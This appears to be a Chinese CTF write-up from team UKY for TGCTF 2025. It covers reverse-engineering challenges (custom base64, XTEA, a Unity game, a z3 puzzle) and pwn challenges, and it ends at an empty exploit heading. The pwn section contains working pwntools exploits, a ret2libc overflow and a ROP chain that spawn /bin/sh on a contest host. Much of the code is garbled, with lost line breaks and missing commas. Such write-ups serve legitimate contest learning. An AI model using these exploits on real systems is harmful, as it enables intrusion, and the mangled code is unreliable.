?filename=Vm10b2QyUnJOVlpQV0VKVVlXeGFhRll3VlRCa01XUnpZVVYwYUUxWGVGcFpWRXB6VlVkR2NrMUVTbUZXUlRWUFZHMXpNVlpYU1hsaVIyeFRUVlp3ZGxkVVNYZE5SMFpXVDBod1ZWWkdjRkZXYTJNMVkwWnNjbHBHWkdoU01EVXdWR3RTYjFkdFNuSmhNMHBVVmpOQmQxcFhjelZqVmxwVlYydHdhV0Y2VWpOWGExcHJWVEExVm1KSVJtdFNhMHBSV1ZkNFZrMXNUbGhPVms1cllraENTVlZ0Y0ZkVGJVWjBUMVJhVlUxcVZYZGFWM00xWTFaYVZWZHJjR2xXYTI5NVYxWmFhazFYU25KaVNFWnJVbXRLVVZsWGVISk5iRTVZVFZkR1RsWXhTa3BXYlRWeldWWlZkMkY2U2xWV00wSlBWRzB4Vm1Wc1VsVlhhelZYVWpKTmVWVXhaR3RSTWtwWVZXeHNWbUZyV25GWmJGcFhVV3hzVjFremFHdE5hMncyVmtjMWQyRkdXWGRqU0hCWVlrVTFTMVJxU2s5T2JVbDZZa1U1VjFKNmJIZFdWRUpxVGxVd2QySkZhRlZpVjJod1dWWldTazFXYkhGVWJGcGhUVmM1TlZadGNFTlRiRWw1WVVoT1drMXFSbGRVUkVaRFUwWk9kV0pHUm1oV1YzTjZWMVJPZDJSdFZrWk5WbFpwVFcxNFExVnFSblpsUm5CR1lVWmtiRlp1UWxOVlZ6VmhZVEZrUjFKdVFsVmxhMFYzVkdwS1QwNXRTWHBoUlRWVFVucHNkMVZXVm10WlZURllWV3RzVjJKdGVHaFdWbFpMVFZac2RXSkZjRTlOVmtwNFdrVm9kMVZIUm5SVVZFcFVWbnBXV0ZwWGVIZFhSbVJ4VW0xc1UxSldXbmRXU0hCQ1RVVTBlVlJxV21sbGF6VlJXVlpXZG1WR2JEWlRiR1JwVmpGS1dWcEVUbk5UYlVaMVZXeENWV1ZyTlU5VWJYTXhUbTFKZVdKSGRGaFNWRlo2VmpJd01WWXlUWGROVkZaVVZrZFNWbGxYTlZOT2JGRjVZMGR3VDJFeWVERldiVFYzV1ZaWmVHSXphRnBoTVVwVFdWWlZOR1F3TlVWYVIzQnNZbFJvTmxaRVNuTlRNREZZVkZoc1YySlVSbkpXYWs1cVpVWk9XR05FUWxWTlJHZzJWa1pTWVZReVZuUlBXRUpoVW0xb1VGbHJXbmRrVmxwMVZHczVhRlpYYzNwV2EyUjNUVWRXY2s5WVJscGxiSEJMV1cxNFlVNXNaSE5hUjBaT1ZqQndSbGRVU25OVlJURkZWVlJPV2swelFqSlVWRUUxWTBaT2NWSnRjRTVpUm5Bd1YydGFhMDB3TlVaaVNFWnJVbFJzVVZSVVFYZE5iRkoxWTBoYWFGWXhTbHBXUnpFMFdWZEtjMWR1Y0ZWTlZUVkxWR3BHVTJOWFVrbGpSa0pvWWxkTmVWVXhZekZXTWxaelkwWm9XR0ZyV25CVmExWlhUVEZPV0dORVFsVk5SR2cyVmtaU1lWVkdTa2hQV0VKaFVtMW9VRmxyV25ka1ZscDFWR3MxVjFKV1duZFdTSEJDVFVVMGVWUnFXbWxsYkVwUldWWldkbVZHYkRaVGJHUnBWakZLV1ZwRVRtOVViVVpXWVhwT1YxSXpRWGRhVjNNMVkxWndObGRyY0dsaVJtOHlWako0YTFsVk1WaFRhMVpUVjBoQ1MxbFhOVk5WUmxJMlZHczFUMkY2YkVaWmFrcHpZVEZrUms1WVRsaGlWRlpZV1hwQmVGWldWbGhpUmtKT1VrWkZlbGRVVG5ka2F6VkdUMWhDVkdGclduRlVWM2hoWkVad1IxcEVUbXhTVkZaVlZURlNhMVpYUm5WVmFscFZUVzVDZFZSdGRITmtWbHAxWTBkR1YwMVhPVFJYVjNSVFVtc3hjbUpJUm10U1ZHeFJWRlJCZDAxc1VYZFZibHBvVmpGS1dsWkhNVFJaVjBwelYyNXdWVlpzU25GWlZsVTBaREExUlZwSGNHeGlWR2QzVmtSS2MxTXdNVmhVV0d4WFlsUkdjbFpxVG10T1JsRjNWR3R3VDAxV1NuaGFSV2gzVlVkR2RGbDZTbFJXZWxaWVdsZDRkMWRHWkhGU2JXeFRVbFpWZUZVeFpIZE5SbEYzVDBod1ZWWkdjRkZWYTJNMVkwWndSMkZGT1dsU2JrSXhWbTAxVDFSdFJuSlNia0pWWld0RmQxUnFTbUZYVmxKVlYyczFiR0pVYkhkV01uUnJZekpGZDJKSVJtdFRTRUpSV1ZkemQwMVdVWGxpUlhSWVVqQmFTVlZ0Y0VOVGJFNUlaVVJLWVZKck5VUlpWRXBIVjBaV1dGcEhiRmROUm5BMVZqSjRiMVJzYjNsV2JHaFFWa1ZhUzFWdWNISmxSbkJHWVVVNVRsSnRlRmxVYkdRd1lVWmFObFp1VmxWU00wRXdXVlprVDJOVk5VaGlSa0pPVFVSQmVWWkhkRk5rYlVaWFkwVm9VRmRHV21oV1ZFSnlUVEZhU0dORVFsQldNRFF5V1dwT2QxVkhSbFppTTJSYVRXcFdlVmxXVlRSa01EVkZXa2N4VmxaRVFUVT0=.php
TGCTF{10881e67-0625-16b7-ff53-a95d6ea52e2c}
Reverse
base64
魔改base64,算法没改,多了个+24,python写脚本记得要处理负数。密文和表都给了,脚本逆就行
UKY 2025TGCTF WP
flag=[0]*100basetable=b"GLp/+Wn7uqX8FQ2JDR1c0M6U53sjBwyxglmrCVdSThAfEOvPHaYZNzo4ktK9iebI="data=b"AwLdOEVEhIWtajB2CbCWCbTRVsFFC8hirfiXC9gWH9HQayCJVbB8CIF="for i in range(len(data)):    flag[i]=(basetable.index((data[i]))-24 )&0x3fprint(flag[i],end=',')for i in range(0,len(flag),4):    aa=flag[i]<<18|flag[i+1]<<12|flag[i+2]<<6|flag[i+3]print(chr((aa>>16)&0xff)+chr((aa>>8)&0xff)+chr(aa&0xff),end='')
HZNUCTF{ad162c-2d94-434d-9222-b65dc76a32}
XTEA
出题人没有给delta,要自己猜(其实就是标准的0x9E3779B9)
intmain(){uint32_t data[] = {0x8CCB23240x9A7741A0x0FB3C678D0x0F6083A790x0F1CC241B0x39FA59F2,0x0F2ABE1CC0x17189F72,};uint32_t k[] = {6648,4542,2449,13336};int delta = 0x9E3779B9;for(int i=6;i>=0;i--){int sum = (0-(32*delta))&0xffffffff;for(int j=0;j<32;j++){                        data[i+1] -= (k[(sum >> 11) & 3] + sum) ^ (data[i] + ((data[i] >> 5) ^ (16 * data[i])));            sum += delta;            data[i] -= (k[sum & 3] + sum) ^ (data[i+1] + ((data[i+1] >> 5) ^ (16 * data[i+1])));                }        } for(int i = 0; i < 8; i++) {for(int j = 3; j >= 0; j--) {  printf("%c", (data[i] >> (j * 8)) & 0xFF);    }}}
HZNUCTF{ae6-9f57-4b74-b423-98eb}
水果忍者
Unity逆向,dnspy打开Assembly-CSharp.dll,一眼就看见了解密函数,就是个AES:
UKY 2025TGCTF WP
找到引用它的地方,发现直接会调用它把密文解出来:
UKY 2025TGCTF WP
在代码后面加上第三个红框里的内容,把第一个红框触发需要的分数改成2,进游戏随便砍两下,flag就保存在d盘的aaa.txt文件里了:
UKY 2025TGCTF WP
 HZNUCTF{de20-70dd-4e62-b8d0-06e}
蛇年的本命语言
pyinstaller打包,发编译pyc发现了一通混淆
UKY 2025TGCTF WP
好像是z3,手动去一下混淆,大概长这样,字符频率统计。
from collections import Counterprint("Welcome to HZNUCTF!!!")print("Plz input the flag:")aa= input()input = Counter(aa)O0o00 = "".join((str(input[i]) for i in aa))print("ans1: ", end="")print(O0o00)if O0o00 != "111111116257645365477364777645752361":    print("wrong_wrong!!!")exit(1)string = ""for i ininput:ifinput[i] > 0:string += i + str(input[i])input[i] = 0else:data = [ord(i) for i instring]        z3func = [7 * data[0] == 504,9 * data[0] - 5 * data[1] == 403,2 * data[0] - 5 * data[1] + 10 * data[2] == 799,3 * data[0] + 8 * data[1] + 15 * data[2] + 20 * data[3] == 2938,5 * data[0] + 15 * data[1] + 20 * data[2] - 19 * data[3] + 1 * data[4] == 2042,7 * data[0] + 1 * data[1] + 9 * data[2] - 11 * data[3] + 2 * data[4] + 5 * data[5] == 1225,11 * data[0] + 22 * data[1] + 33 * data[2] + 44 * data[3] + 55 * data[4] + 66 * data[5] - 77 * data[6] == 7975,21 * data[0] + 23 * data[1] + 3 * data[2] + 24 * data[3] - 55 * data[4] + 6 * data[5] - 7 * data[6] + 15 * data[7] == 229,2 * data[0] + 26 * data[1] + 13 * data[2] + 0 * data[3] - 65 * data[4] + 15 * data[5] + 29 * data[6] + 1 * data[7] + 20 * data[8] == 2107,10 * data[0] + 7 * data[1] + -9 * data[2] + 6 * data[3] + 7 * data[4] + 1 * data[5] + 22 * data[6] + 21 * data[7] - 22 * data[8] + 30 * data[9] == 4037,15 * data[0] + 59 * data[1] + 56 * data[2] + 66 * data[3] + 7 * data[4] + 1 * data[5] - 122 * data[6] + 21 * data[7] + 32 * data[8] + 3 * data[9] - 10 * data[10] == 4950,13 * data[0] + 66 * data[1] + 29 * data[2] + 39 * data[3] - 33 * data[4] + 13 * data[5] - 2 * data[6] + 42 * data[7] + 62 * data[8] + 1 * data[9] - 10 * data[10] + 11 * data[11] == 12544,23 * data[0] + 6 * data[1] + 29 * data[2] + 3 * data[3] - 3 * data[4] + 63 * data[5] - 25 * data[6] + 2 * data[7] + 32 * data[8] + 1 * data[9] - 10 * data[10] + 11 * data[11] - 12 * data[12] == 6585,223 * data[0] + 6 * data[1] - 29 * data[2] - 53 * data[3] - 3 * data[4] + 3 * data[5] - 65 * data[6] + 0 * data[7] + 36 * data[8] + 1 * data[9] - 15 * data[10] + 16 * data[11] - 18 * data[12] + 13 * data[13] == 6893,29 * data[0] + 13 * data[1] - 9 * data[2] - 93 * data[3] + 33 * data[4] + 6 * data[5] + 65 * data[6] + 1 * data[7] - 36 * data[8] + 0 * data[9] - 16 * data[10] + 96 * data[11] - 68 * data[12] + 33 * data[13] - 14 * data[14] == 1883,69 * data[0] + 77 * data[1] - 93 * data[2] - 12 * data[3] + 0 * data[4] + 0 * data[5] + 1 * data[6] + 16 * data[7] + 36 * data[8] + 6 * data[9] + 19 * data[10] + 66 * data[11] - 8 * data[12] + 38 * data[13] - 16 * data[14] + 15 * data[15] == 8257,23 * data[0] + 2 * data[1] - 3 * data[2] - 11 * data[3] + 12 * data[4] + 24 * data[5] + 1 * data[6] + 6 * data[7] + 14 * data[8] - 0 * data[9] + 1 * data[10] + 68 * data[11] - 18 * data[12] + 68 * data[13] - 26 * data[14] + 15 * data[15] - 16 * data[16] == 5847,24 * data[0] + 0 * data[1] - 1 * data[2] - 15 * data[3] + 13 * data[4] + 4 * data[5] + 16 * data[6] + 67 * data[7] + 146 * data[8] - 50 * data[9] + 16 * data[10] + 6 * data[11] - 1 * data[12] + 69 * data[13] - 27 * data[14] + 45 * data[15] - 6 * data[16] + 17 * data[17] == 18257,25 * data[0] + 26 * data[1] - 89 * data[2] + 16 * data[3] + 19 * data[4] + 44 * data[5] + 36 * data[6] + 66 * data[7] - 150 * data[8] - 250 * data[9] + 166 * data[10] + 126 * data[11] - 11 * data[12] + 690 * data[13] - 207 * data[14] + 46 * data[15] + 6 * data[16] + 7 * data[17] - 18 * data[18] == 12591,5 * data[0] + 26 * data[1] + 8 * data[2] + 160 * data[3] + 9 * data[4] - 4 * data[5] + 36 * data[6] + 6 * data[7] - 15 * data[8] - 20 * data[9] + 66 * data[10] + 16 * data[11] - 1 * data[12] + 690 * data[13] - 20 * data[14] + 46 * data[15] + 6 * data[16] + 7 * data[17] - 18 * data[18] + 19 * data[19] == 52041,29 * data[0] - 26 * data[1] + 0 * data[2] + 60 * data[3] + 90 * data[4] - 4 * data[5] + 6 * data[6] + 6 * data[7] - 16 * data[8] - 21 * data[9] + 69 * data[10] + 6 * data[11] - 12 * data[12] + 69 * data[13] - 20 * data[14] - 46 * data[15] + 65 * data[16] + 0 * data[17] - 1 * data[18] + 39 * data[19] - 20 * data[20] == 20253,45 * data[0] - 56 * data[1] + 10 * data[2] + 650 * data[3] - 900 * data[4] + 44 * data[5] + 66 * data[6] - 6 * data[7] - 6 * data[8] - 21 * data[9] + 9 * data[10] - 6 * data[11] - 12 * data[12] + 69 * data[13] - 2 * data[14] - 406 * data[15] + 651 * data[16] + 2 * data[17] - 10 * data[18] + 69 * data[19] - 0 * data[20] + 21 * data[21] == 18768,555 * data[0] - 6666 * data[1] + 70 * data[2] + 510 * data[3] - 90 * data[4] + 499 * data[5] + 66 * data[6] - 66 * data[7] - 610 * data[8] - 221 * data[9] + 9 * data[10] - 23 * data[11] - 102 * data[12] + 6 * data[13] + 2050 * data[14] - 406 * data[15] + 665 * data[16] + 333 * data[17] + 100 * data[18] + 609 * data[19] + 777 * data[20] + 201 * data[21] - 22 * data[22] == 111844,1 * data[0] - 22 * data[1] + 333 * data[2] + 4444 * data[3] - 5555 * data[4] + 6666 * data[5] - 666 * data[6] + 676 * data[7] - 660 * data[8] - 22 * data[9] + 9 * data[10] - 73 * data[11] - 107 * data[12] + 6 * data[13] + 250 * data[14] - 6 * data[15] + 65 * data[16] + 39 * data[17] + 10 * data[18] + 69 * data[19] + 777 * data[20] + 201 * data[21] - 2 * data[22] + 23 * data[23] == 159029,520 * data[0] - 222 * data[1] + 333 * data[2] + 4 * data[3] - 56655 * data[4] + 6666 * data[5] + 666 * data[6] + 66 * data[7] - 60 * data[8] - 220 * data[9] + 99 * data[10] + 73 * data[11] + 1007 * data[12] + 7777 * data[13] + 2500 * data[14] + 6666 * data[15] + 605 * data[16] + 390 * data[17] + 100 * data[18] + 609 * data[19] + 99999 * data[20] + 210 * data[21] + 232 * data[22] + 23 * data[23] - 24 * data[24] == 2762025,1323 * data[0] - 22 * data[1] + 333 * data[2] + 4 * data[3] - 55 * data[4] + 666 * data[5] + 666 * data[6] + 66 * data[7] - 660 * data[8] - 220 * data[9] + 99 * data[10] + 3 * data[11] + 100 * data[12] + 777 * data[13] + 2500 * data[14] + 6666 * data[15] + 605 * data[16] + 390 * data[17] + 100 * data[18] + 609 * data[19] + 9999 * data[20] + 210 * data[21] + 232 * data[22] + 23 * data[23] - 24 * data[24] + 25 * data[25] == 1551621,777 * data[0] - 22 * data[1] + 6969 * data[2] + 4 * data[3] - 55 * data[4] + 666 * data[5] - 6 * data[6] + 96 * data[7] - 60 * data[8] - 220 * data[9] + 99 * data[10] + 3 * data[11] + 100 * data[12] + 777 * data[13] + 250 * data[14] + 666 * data[15] + 65 * data[16] + 90 * data[17] + 100 * data[18] + 609 * data[19] + 999 * data[20] + 21 * data[21] + 232 * data[22] + 23 * data[23] - 24 * data[24] + 25 * data[25] - 26 * data[26] == 948348,97 * data[0] - 22 * data[1] + 6969 * data[2] + 4 * data[3] - 56 * data[4] + 96 * data[5] - 6 * data[6] + 96 * data[7] - 60 * data[8] - 20 * data[9] + 99 * data[10] + 3 * data[11] + 10 * data[12] + 707 * data[13] + 250 * data[14] + 666 * data[15] + -9 * data[16] + 90 * data[17] + -2 * data[18] + 609 * data[19] + 0 * data[20] + 21 * data[21] + 2 * data[22] + 23 * data[23] - 24 * data[24] + 25 * data[25] - 26 * data[26] + 27 * data[27] == 777044,177 * data[0] - 22 * data[1] + 699 * data[2] + 64 * data[3] - 56 * data[4] - 96 * data[5] - 66 * data[6] + 96 * data[7] - 60 * data[8] - 20 * data[9] + 99 * data[10] + 3 * data[11] + 10 * data[12] + 707 * data[13] + 250 * data[14] + 666 * data[15] + -9 * data[16] + 0 * data[17] + -2 * data[18] + 69 * data[19] + 0 * data[20] + 21 * data[21] + 222 * data[22] + 23 * data[23] - 224 * data[24] + 25 * data[25] - 26 * data[26] + 27 * data[27] - 28 * data[28] == 185016,77 * data[0] - 2 * data[1] + 6 * data[2] + 6 * data[3] - 96 * data[4] - 9 * data[5] - 6 * data[6] + 96 * data[7] - 0 * data[8] - 20 * data[9] + 99 * data[10] + 3 * data[11] + 10 * data[12] + 707 * data[13] + 250 * data[14] + 666 * data[15] + -9 * data[16] + 0 * data[17] + -2 * data[18] + 9 * data[19] + 0 * data[20] + 21 * data[21] + 222 * data[22] + 23 * data[23] - 224 * data[24] + 26 * data[25] - -58 * data[26] + 27 * data[27] - 2 * data[28] + 29 * data[29] == 130106]if all(z3func):            print("Congratulation!!!")else:            print("wrong_wrong!!!")
合理使用AI教我逆字典序(挠头):
from z3 import *data = [Int('data[%d]' % i) for i in range(30)]x=Solver()x.add(7 * data[0] == 504)x.add(9 * data[0] - 5 * data[1] == 403)x.add(2 * data[0] - 5 * data[1] + 10 * data[2] == 799)x.add(3 * data[0] + 8 * data[1] + 15 * data[2] + 20 * data[3] == 2938)x.add(5 * data[0] + 15 * data[1] + 20 * data[2] - 19 * data[3] + 1 * data[4] == 2042)x.add(7 * data[0] + 1 * data[1] + 9 * data[2] - 11 * data[3] + 2 * data[4] + 5 * data[5] == 1225)x.add(11 * data[0] + 22 * data[1] + 33 * data[2] + 44 * data[3] + 55 * data[4] + 66 * data[5] - 77 * data[6] == 7975)x.add(21 * data[0] + 23 * data[1] + 3 * data[2] + 24 * data[3] - 55 * data[4] + 6 * data[5] - 7 * data[6] + 15 * data[7] == 229)x.add(2 * data[0] + 26 * data[1] + 13 * data[2] + 0 * data[3] - 65 * data[4] + 15 * data[5] + 29 * data[6] + 1 * data[7] + 20 * data[8] == 2107)x.add(10 * data[0] + 7 * data[1] + -9 * data[2] + 6 * data[3] + 7 * data[4] + 1 * data[5] + 22 * data[6] + 21 * data[7] - 22 * data[8] + 30 * data[9] == 4037)x.add(15 * data[0] + 59 * data[1] + 56 * data[2] + 66 * data[3] + 7 * data[4] + 1 * data[5] - 122 * data[6] + 21 * data[7] + 32 * data[8] + 3 * data[9] - 10 * data[10] == 4950)x.add(13 * data[0] + 66 * data[1] + 29 * data[2] + 39 * data[3] - 33 * data[4] + 13 * data[5] - 2 * data[6] + 42 * data[7] + 62 * data[8] + 1 * data[9] - 10 * data[10] + 11 * data[11] == 12544)x.add(23 * data[0] + 6 * data[1] + 29 * data[2] + 3 * data[3] - 3 * data[4] + 63 * data[5] - 25 * data[6] + 2 * data[7] + 32 * data[8] + 1 * data[9] - 10 * data[10] + 11 * data[11] - 12 * data[12] == 6585)x.add(223 * data[0] + 6 * data[1] - 29 * data[2] - 53 * data[3] - 3 * data[4] + 3 * data[5] - 65 * data[6] + 0 * data[7] + 36 * data[8] + 1 * data[9] - 15 * data[10] + 16 * data[11] - 18 * data[12] + 13 * data[13] == 6893)x.add(29 * data[0] + 13 * data[1] - 9 * data[2] - 93 * data[3] + 33 * data[4] + 6 * data[5] + 65 * data[6] + 1 * data[7] - 36 * data[8] + 0 * data[9] - 16 * data[10] + 96 * data[11] - 68 * data[12] + 33 * data[13] - 14 * data[14] == 1883)x.add(69 * data[0] + 77 * data[1] - 93 * data[2] - 12 * data[3] + 0 * data[4] + 0 * data[5] + 1 * data[6] + 16 * data[7] + 36 * data[8] + 6 * data[9] + 19 * data[10] + 66 * data[11] - 8 * data[12] + 38 * data[13] - 16 * data[14] + 15 * data[15] == 8257)x.add(23 * data[0] + 2 * data[1] - 3 * data[2] - 11 * data[3] + 12 * data[4] + 24 * data[5] + 1 * data[6] + 6 * data[7] + 14 * data[8] - 0 * data[9] + 1 * data[10] + 68 * data[11] - 18 * data[12] + 68 * data[13] - 26 * data[14] + 15 * data[15] - 16 * data[16] == 5847)x.add(24 * data[0] + 0 * data[1] - 1 * data[2] - 15 * data[3] + 13 * data[4] + 4 * data[5] + 16 * data[6] + 67 * data[7] + 146 * data[8] - 50 * data[9] + 16 * data[10] + 6 * data[11] - 1 * data[12] + 69 * data[13] - 27 * data[14] + 45 * data[15] - 6 * data[16] + 17 * data[17] == 18257)x.add(25 * data[0] + 26 * data[1] - 89 * data[2] + 16 * data[3] + 19 * data[4] + 44 * data[5] + 36 * data[6] + 66 * data[7] - 150 * data[8] - 250 * data[9] + 166 * data[10] + 126 * data[11] - 11 * data[12] + 690 * data[13] - 207 * data[14] + 46 * data[15] + 6 * data[16] + 7 * data[17] - 18 * data[18] == 12591)x.add(5 * data[0] + 26 * data[1] + 8 * data[2] + 160 * data[3] + 9 * data[4] - 4 * data[5] + 36 * data[6] + 6 * data[7] - 15 * data[8] - 20 * data[9] + 66 * data[10] + 16 * data[11] - 1 * data[12] + 690 * data[13] - 20 * data[14] + 46 * data[15] + 6 * data[16] + 7 * data[17] - 18 * data[18] + 19 * data[19] == 52041)x.add(29 * data[0] - 26 * data[1] + 0 * data[2] + 60 * data[3] + 90 * data[4] - 4 * data[5] + 6 * data[6] + 6 * data[7] - 16 * data[8] - 21 * data[9] + 69 * data[10] + 6 * data[11] - 12 * data[12] + 69 * data[13] - 20 * data[14] - 46 * data[15] + 65 * data[16] + 0 * data[17] - 1 * data[18] + 39 * data[19] - 20 * data[20] == 20253)x.add(45 * data[0] - 56 * data[1] + 10 * data[2] + 650 * data[3] - 900 * data[4] + 44 * data[5] + 66 * data[6] - 6 * data[7] - 6 * data[8] - 21 * data[9] + 9 * data[10] - 6 * data[11] - 12 * data[12] + 69 * data[13] - 2 * data[14] - 406 * data[15] + 651 * data[16] + 2 * data[17] - 10 * data[18] + 69 * data[19] - 0 * data[20] + 21 * data[21] == 18768)x.add(555 * data[0] - 6666 * data[1] + 70 * data[2] + 510 * data[3] - 90 * data[4] + 499 * data[5] + 66 * data[6] - 66 * data[7] - 610 * data[8] - 221 * data[9] + 9 * data[10] - 23 * data[11] - 102 * data[12] + 6 * data[13] + 2050 * data[14] - 406 * data[15] + 665 * data[16] + 333 * data[17] + 100 * data[18] + 609 * data[19] + 777 * data[20] + 201 * data[21] - 22 * data[22] == 111844)x.add(1 * data[0] - 22 * data[1] + 333 * data[2] + 4444 * data[3] - 5555 * data[4] + 6666 * data[5] - 666 * data[6] + 676 * data[7] - 660 * data[8] - 22 * data[9] + 9 * data[10] - 73 * data[11] - 107 * data[12] + 6 * data[13] + 250 * data[14] - 6 * data[15] + 65 * data[16] + 39 * data[17] + 10 * data[18] + 69 * data[19] + 777 * data[20] + 201 * data[21] - 2 * data[22] + 23 * data[23] == 159029)x.add(520 * data[0] - 222 * data[1] + 333 * data[2] + 4 * data[3] - 56655 * data[4] + 6666 * data[5] + 666 * data[6] + 66 * data[7] - 60 * data[8] - 220 * data[9] + 99 * data[10] + 73 * data[11] + 1007 * data[12] + 7777 * data[13] + 2500 * data[14] + 6666 * data[15] + 605 * data[16] + 390 * data[17] + 100 * data[18] + 609 * data[19] + 99999 * data[20] + 210 * data[21] + 232 * data[22] + 23 * data[23] - 24 * data[24] == 2762025)x.add(1323 * data[0] - 22 * data[1] + 333 * data[2] + 4 * data[3] - 55 * data[4] + 666 * data[5] + 666 * data[6] + 66 * data[7] - 660 * data[8] - 220 * data[9] + 99 * data[10] + 3 * data[11] + 100 * data[12] + 777 * data[13] + 2500 * data[14] + 6666 * data[15] + 605 * data[16] + 390 * data[17] + 100 * data[18] + 609 * data[19] + 9999 * data[20] + 210 * data[21] + 232 * data[22] + 23 * data[23] - 24 * data[24] + 25 * data[25] == 1551621)x.add(777 * data[0] - 22 * data[1] + 6969 * data[2] + 4 * data[3] - 55 * data[4] + 666 * data[5] - 6 * data[6] + 96 * data[7] - 60 * data[8] - 220 * data[9] + 99 * data[10] + 3 * data[11] + 100 * data[12] + 777 * data[13] + 250 * data[14] + 666 * data[15] + 65 * data[16] + 90 * data[17] + 100 * data[18] + 609 * data[19] + 999 * data[20] + 21 * data[21] + 232 * data[22] + 23 * data[23] - 24 * data[24] + 25 * data[25] - 26 * data[26] == 948348)x.add(97 * data[0] - 22 * data[1] + 6969 * data[2] + 4 * data[3] - 56 * data[4] + 96 * data[5] - 6 * data[6] + 96 * data[7] - 60 * data[8] - 20 * data[9] + 99 * data[10] + 3 * data[11] + 10 * data[12] + 707 * data[13] + 250 * data[14] + 666 * data[15] + -9 * data[16] + 90 * data[17] + -2 * data[18] + 609 * data[19] + 0 * data[20] + 21 * data[21] + 2 * data[22] + 23 * data[23] - 24 * data[24] + 25 * data[25] - 26 * data[26] + 27 * data[27] == 777044)x.add(177 * data[0] - 22 * data[1] + 699 * data[2] + 64 * data[3] - 56 * data[4] - 96 * data[5] - 66 * data[6] + 96 * data[7] - 60 * data[8] - 20 * data[9] + 99 * data[10] + 3 * data[11] + 10 * data[12] + 707 * data[13] + 250 * data[14] + 666 * data[15] + -9 * data[16] + 0 * data[17] + -2 * data[18] + 69 * data[19] + 0 * data[20] + 21 * data[21] + 222 * data[22] + 23 * data[23] - 224 * data[24] + 25 * data[25] - 26 * data[26] + 27 * data[27] - 28 * data[28] == 185016)x.add(77 * data[0] - 2 * data[1] + 6 * data[2] + 6 * data[3] - 96 * data[4] - 9 * data[5] - 6 * data[6] + 96 * data[7] - 0 * data[8] - 20 * data[9] + 99 * data[10] + 3 * data[11] + 10 * data[12] + 707 * data[13] + 250 * data[14] + 666 * data[15] + -9 * data[16] + 0 * data[17] + -2 * data[18] + 9 * data[19] + 0 * data[20] + 21 * data[21] + 222 * data[22] + 23 * data[23] - 224 * data[24] + 26 * data[25] - -58 * data[26] + 27 * data[27] - 2 * data[28] + 29 * data[29] == 130106)if x.check()==sat:    ans =x.model()     print(ans)data[29] = 49data[28] = 125data[27] = 51data[26] = 54data[25] = 52data[24] = 45data[6] = 85data[21] = 53data[14] = 123data[3] = 49data[11] = 49data[17] = 54data[5] = 49data[0] = 72data[1] = 49data[12] = 70data[18] = 100data[10] = 84data[8] = 67data[4] = 78data[9] = 49data[15] = 49data[7] = 49data[22] = 102data[13] = 49data[19] = 50data[16] = 97data[2] = 90data[20] = 55data[23] = 55for i in range(30):    print(chr(data[i]),end='')# H1Z1N1U1C1T1F1{1a6d275f7-463}1print("n")num = "625764536547736477764575236"flag = {'a': 6, 'd': 2, '7': 5, 'f': 7, '6': 3, '-': 4}reverse_flag = {v: k for k, v in flag.items()}# 遍历 num 字符串result = ""for char in num:    digit = int(char)  # 将字符转为整数    if digit in reverse_flag:        result += reverse_flag[digit]  # 获取对应的字典键并拼接print("HZNUCTF{"+result+"}")
UKY 2025TGCTF WP
pwn
签到
  • 使用gets函数,只开nx保护,栈溢出ret2libc
Exp:
#!/usr/bin/env python3from pwn import *context(arch = "amd64" , os = "linux" , log_level = "debug")#io = process("./pwwn")#io = gdb.debug("./pwwn","""b main""")io = remote("node1.tgctf.woooo.tech",31825)elf = ELF("./pwwn")libc = ELF("./libc.so.6")rdi = 0x0000000000401176payload = b"A"*0x70 + b"AAAAAAAA" + p64(rdi) + p64(elf.got["puts"])payload += p64(elf.plt["puts"]) + p64(0x40117D)io.sendlineafter(b"name",payload)libc_base = u64(io.recvuntil(b"x7f")[-6:].ljust(8,b"x00")) - libc.sym["puts"]success(f"libc_base => {hex(libc_base)}")system = libc_base + libc.sym["system"]bin_sh = libc_base + next(libc.search("/bin/sh"))payload2 = b"A"*0x70 + b"AAAAAAAA" + p64(rdi)*3 + p64(bin_sh) + p64(system)io.sendlineafter(b"name",payload2)io.interactive()
stack
  • 静态编译,出现gets函数,但是函数返回时对寄存器的操作比较乱,控制返回地址到name,name上放好ROPgadget生成的rop链即可
Exp:
#!/usr/bin/env python3from pwn import *from struct import packcontext(arch = "i386" , os = "linux" , log_level = "debug")io = process("./pwwn")io = remote("node1.tgctf.woooo.tech",30140)'''io = gdb.debug("./pwwn","""decompiler connect ida --host 192.168.132.84 --port 3661                            b *0x80498b3                            c                            b *0x80498b8                            """)'''p = b''#p += p32(0x80EF320+4)p += pack('<I'0x08060bd1# pop edx ; retp += pack('<I'0x080ee060# @ .datap += pack('<I'0x080b470a# pop eax ; retp += b'/bin'p += pack('<I'0x080597c2# mov dword ptr [edx], eax ; retp += pack('<I'0x08060bd1# pop edx ; retp += pack('<I'0x080ee064# @ .data + 4p += pack('<I'0x080b470a# pop eax ; retp += b'//sh'p += pack('<I'0x080597c2# mov dword ptr [edx], eax ; retp += pack('<I'0x08060bd1# pop edx ; retp += pack('<I'0x080ee068# @ .data + 8p += pack('<I'0x080507e0# xor eax, eax ; retp += pack('<I'0x080597c2# mov dword ptr [edx], eax ; retp += pack('<I'0x08049022# pop ebx ; retp += pack('<I'0x080ee060# @ .datap += pack('<I'0x08049802# pop ecx ; retp += pack('<I'0x080ee068# @ .data + 8p += pack('<I'0x08060bd1# pop edx ; retp += pack('<I'0x080ee068# @ .data + 8p += pack('<I'0x080507e0# xor eax, eax ; retp += pack('<I'0x08082bbe# inc eax ; retp += pack('<I'0x08082bbe# inc eax ; retp += pack('<I'0x08082bbe# inc eax ; retp += pack('<I'0x08082bbe# inc eax ; retp += pack('<I'0x08082bbe# inc eax ; retp += pack('<I'0x08082bbe# inc eax ; retp += pack('<I'0x08082bbe# inc eax ; retp += pack('<I'0x08082bbe# inc eax ; retp += pack('<I'0x08082bbe# inc eax ; retp += pack('<I'0x08082bbe# inc eax ; retp += pack('<I'0x08082bbe# inc eax ; retp += pack('<I'0x08049c6a# int 0x80io.sendafter(b"name",p)ret                         = 0x08049009edi                         = 0x08049a80esi                         = 0x0804fc5fedx                         = 0x08060bd1flag                        = 0x080efb25# 0x080ce95d 0x080ef91d 0x080efb25open_                       = 0x806F870success(f"len               => {hex(len(p))}")success(p)name    =  0x80EF320mprotect=  0x8070A70payload1                    =  b"x55"*0x14 + p32(ret)payload1                    =  payload1.ljust(0xc4,b"x11") + b"AAAA"payload1                    = flat({0x14:               p32(ret),0xc4:               b"AAAA",0xc8:               p32(name+4),        },filler = b"x11")io.sendlineafter(b"right",payload1)io.interactive()
overflow
  • 栈迁移,有/bin/sh字符串
  • write_func的里函数参数可以通过name全局变量控制
Exp:
